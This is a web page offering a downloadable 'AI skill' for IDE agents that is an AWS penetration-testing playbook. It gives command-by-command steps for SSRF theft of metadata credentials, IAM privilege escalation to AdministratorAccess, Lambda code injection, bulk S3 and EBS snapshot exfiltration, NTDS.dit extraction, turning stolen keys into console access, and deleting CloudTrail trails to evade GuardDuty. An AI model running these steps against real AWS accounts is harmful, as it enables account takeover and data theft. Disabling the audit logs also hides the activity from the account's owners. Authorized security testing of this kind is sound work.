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AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

  • AWS CLI configured with credentials
  • Valid AWS credentials (even low-privilege)
  • Understanding of AWS IAM model
  • Python 3, boto3 library
  • Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

  • IAM privilege escalation paths
  • Extracted credentials and secrets
  • Compromised EC2/Lambda/S3 resources
  • Persistence mechanisms
  • Security audit findings

Essential Tools

| Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | git clone https://github.com/RhinoSecurityLabs/pacu | | SkyArk | Shadow Admin discovery | Import-Module .\SkyArk.ps1 | | Prowler | Security auditing | pip install prowler | | ScoutSuite | Multi-cloud auditing | pip install scoutsuite | | enumerate-iam | Permission enumeration | git clone https://github.com/andresriancho/enumerate-iam | | Principal Mapper | IAM analysis | pip install principalmapper |


Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

| Permission | Exploitation | |------------|--------------| | iam:CreateAccessKey | Create keys for admin user | | iam:CreateLoginProfile | Set password for any user | | iam:AttachUserPolicy | Attach admin policy to self | | iam:PutUserPolicy | Add inline admin policy | | iam:AddUserToGroup | Add self to admin group | | iam:PassRole + ec2:RunInstances | Launch EC2 with admin role | | lambda:UpdateFunctionCode | Inject code into Lambda |

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

Bucket Enumeration

# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder

Public Bucket Search

https://buckets.grayhatwarfare.com/

Lambda Exploitation

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM Command Execution

Systems Manager allows command execution on EC2 instances:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 Exploitation

Mount EBS Volume

# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

Shadow Copy Attack (Windows DC)

# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

Console Access from API Keys

Convert CLI credentials to console access:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

Covering Tracks

Disable CloudTrail

# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.


Quick Reference

| Task | Command | |------|---------| | Get identity | aws sts get-caller-identity | | List users | aws iam list-users | | List roles | aws iam list-roles | | List buckets | aws s3 ls | | List EC2 | aws ec2 describe-instances | | List Lambda | aws lambda list-functions | | Get metadata | curl http://169.254.169.254/latest/meta-data/ |


Constraints

Must:

  • Obtain written authorization before testing
  • Document all actions for audit trail
  • Test in scope resources only

Must Not:

  • Modify production data without approval
  • Leave persistent backdoors without documentation
  • Disable security controls permanently

Should:

  • Check for IMDSv2 before attempting metadata attacks
  • Enumerate thoroughly before exploitation
  • Clean up test resources after engagement

Examples

Example 1: SSRF to Admin

# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

Troubleshooting

| Issue | Solution | |-------|----------| | Access Denied on all commands | Enumerate permissions with enumerate-iam | | Metadata endpoint blocked | Check for IMDSv2, try container metadata | | GuardDuty alerts | Use Pacu with custom user-agent | | Expired credentials | Re-fetch from metadata (temp creds rotate) | | CloudTrail logging actions | Consider disable or log obfuscation |


Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.

Frequently Asked Questions

What is AWS Penetration Testing?

AWS Penetration Testing is an expert AI persona designed to improve your coding workflow. This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment. It provides senior-level context directly within your IDE.

How do I install the AWS Penetration Testing skill in Cursor or Windsurf?

To install the AWS Penetration Testing skill, download the package, extract the files to your project's .cursor/skills directory, and type @aws-penetration-testing in your editor chat to activate the expert instructions.

Is AWS Penetration Testing free to download?

Yes, the AWS Penetration Testing AI persona is completely free to download and integrate into compatible Agentic IDEs like Cursor, Windsurf, Github Copilot, and Anthropic MCP servers.

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AWS Penetration Testing

This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.

Download Skill Package

IDE Invocation

@aws-penetration-testing
COPY

Platform

IDE Native

Price

Free Download

Setup Instructions

Cursor & Windsurf

  1. Download the zip file above.
  2. Extract to .cursor/skills
  3. Type @aws-penetration-testing in editor chat.

Copilot & ChatGPT

Copy the instructions from the panel on the left and paste them into your custom instructions setting.

"Adding this AWS Penetration Testing persona to my Cursor workspace completely changed the quality of code my AI generates. Saves me hours every week."

A
Alex Dev
Senior Engineer, TechCorp